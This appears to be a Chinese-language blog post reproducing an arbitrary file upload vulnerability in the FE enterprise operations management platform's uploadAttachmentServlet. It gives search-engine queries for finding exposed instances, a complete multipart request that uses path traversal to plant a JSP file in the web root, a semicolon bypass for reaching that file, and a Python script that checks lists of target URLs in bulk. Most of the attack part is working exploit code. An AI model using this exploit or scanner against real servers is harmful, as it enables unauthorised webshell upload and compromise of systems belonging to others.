聲明:本文檔或演示材料僅供教育和教學目的使用,任何個人或組織使用本文檔中的信息進行非法活動,均與本文檔的作者或發布者無關。
文章目錄
- 漏洞描述
- 漏洞復現
- 測試工具
漏洞描述
飛企互聯-FE企業運營管理平臺是一個基于云計算、智能化、大數據、物聯網、移動互聯網等技術支撐的云工作臺。其uploadAttachmentServlet
存在文件上傳漏洞,導致惡意攻擊者可以上傳惡意后門、木馬等,從而獲取對服務器的遠程訪問權限或者破壞系統,對服務器造成極大的安全隱患。
漏洞復現
1)信息收集
fofa:app="FE-協作平臺"
hunter:app.name="飛企互聯 FE"||app.name="飛企互聯 FE 6.0+"
圣人不死,大盜不止。
2)構造數據包
POST /servlet/uploadAttachmentServlet HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Length: 404------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/from.jsp"
Content-Type: text/plain<% out.println("123123");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"{"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
multipart/form-data
格式的請求解釋:
MIME多部分數據格式,通常用于HTTP POST請求中,特別是在需要上傳文件和額外數據的情況下。這種格式允許在一個請求中發送多種類型的數據,比如文件、表單字段等。
詳細解析代碼片段:
-
邊界(Boundary)定義:
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
這個字符串是分隔不同數據部分的邊界。它是在請求頭中定義的,并且在每個數據部分之間重復出現,以區分不同的部分。
-
uploadFile
部分:Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/from.jsp" Content-Type: text/plain<% out.println("123123");%>
Content-Disposition
頭部指定了這個部分是一個表單數據(form-data),名字為uploadFile
,并且關聯了一個文件名from.jsp
。這表明這部分數據代表了一個文件。Content-Type
指定這部分數據的類型是text/plain
,但實際上,這里的from.jsp
看起來是一個Java Server Page(JSP)文件。- 接下來是JSP文件的內容,它會輸出字符串
123123
到頁面。
-
json
部分:Content-Disposition: form-data; name="json"{"iq":{"query":{"UpdateType":"mail"}}}
- 這部分同樣是一個表單數據,名字為
json
,沒有指定文件名,因為這并不是一個文件上傳。 - 數據是一個JSON對象,包含了
iq
對象,其中有一個query
字段,其值是一個對象,具有UpdateType
屬性,值為mail
。
- 這部分同樣是一個表單數據,名字為
-
結束邊界:
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
這是邊界字符串的結束標記,表示所有數據部分的傳輸已經完成。
這樣的格式常用于上傳文件到服務器,同時可以攜帶額外的參數,比如描述文件的元數據或處理文件的指令。在實際應用中,邊界字符串通常是隨機生成的,以避免與數據內容沖突。
3)查看上傳文件,;
繞過解析
GET /from; HTTP/1.1
Host: ip
回顯123123
,文件上傳成功
測試工具
poc
#!/usr/bin/env python
# -*- coding: utf-8 -*-# 導入請求庫,用于發送HTTP請求
import requests
# 導入隨機庫,用于生成隨機字符串
import random
# 導入字符串庫,用于獲取ASCII字母和數字
import string
# 導入解析命令行參數的庫
import argparse
# 忽略HTTPS警告
from urllib3.exceptions import InsecureRequestWarning# 定義紅色和重置終端顏色的字符串,用于輸出高亮提示
RED = '\033[91m'
RESET = '\033[0m'# 忽略不安全請求的警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)# 生成隨機基礎字符串
def rand_base(n):"""生成包含n個字符的隨機字符串。參數:n -- 字符串的長度返回值:隨機生成的字符串"""return ''.join(random.choices(string.ascii_lowercase + string.digits, k=n))# 檢測URL是否存在上傳漏洞
def check_vulnerability(url):"""檢測給定URL是否存在飛企互聯-FE企業運營管理平臺的上傳漏洞。參數:url -- 待檢測的URL無返回值。如果檢測到漏洞,則打印提示信息;否則,打印無漏洞信息。"""# 生成隨機文件名filename = rand_base(6)# 構造上傳URLupload_url = url.rstrip('/') + '/servlet/uploadAttachmentServlet'# 設置上傳請求的頭部信息upload_headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0)','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8','Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2','Accept-Encoding': 'gzip, deflate','Connection': 'close','Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk'}# 構造上傳請求的數據upload_data = ('------WebKitFormBoundaryKNt0t4vBe8cX9rZk\r\n'f'Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/{filename}.jsp"\r\n''Content-Type: text/plain\r\n\r\n''<% out.println("123123");%>\r\n''------WebKitFormBoundaryKNt0t4vBe8cX9rZk\r\n''Content-Disposition: form-data; name="json"\r\n\r\n''{"iq":{"query":{"UpdateType":"mail"}}}\r\n''------WebKitFormBoundaryKNt0t4vBe8cX9rZk--')try:# 發送上傳請求response_upload = requests.post(upload_url, headers=upload_headers, data=upload_data, verify=False, timeout=30)# 構造訪問上傳文件的URLaccess_url = url.rstrip('/') + f'/{filename}.jsp;'# 發送訪問請求response_access = requests.get(access_url, verify=False, timeout=30)# 檢查上傳和訪問的響應,判斷是否存在漏洞if response_upload.status_code == 200 and response_access.status_code == 200 and "123123" in response_access.text:print(f"{RED}URL [{url}] 存在飛企互聯-FE企業運營管理平臺uploadAttachmentServlet任意文件上傳漏洞{RESET}")else:print(f"URL [{url}] 不存在漏洞")except requests.exceptions.Timeout:print(f"URL [{url}] 請求超時,可能存在漏洞")except requests.RequestException as e:print(f"URL [{url}] 請求失敗: {e}")# 程序入口
def main():# 解析命令行參數parser = argparse.ArgumentParser(description='檢測目標地址是否存在飛企互聯-FE企業運營管理平臺uploadAttachmentServlet任意文件上傳漏洞')parser.add_argument('-u', '--url', help='指定目標地址')parser.add_argument('-f', '--file', help='指定包含目標地址的文本文件')args = parser.parse_args()# 根據參數執行漏洞檢測if args.url:if not args.url.startswith("http://") and not args.url.startswith("https://"):args.url = "http://" + args.urlcheck_vulnerability(args.url)elif args.file:with open(args.file, 'r') as file:urls = file.read().splitlines()for url in urls:if not url.startswith("http://") and not url.startswith("https://"):url = "http://" + urlcheck_vulnerability(url)if __name__ == '__main__':main()
運行截圖
鄧林之陰初見昆侖君,驚鴻一瞥,亂我心曲。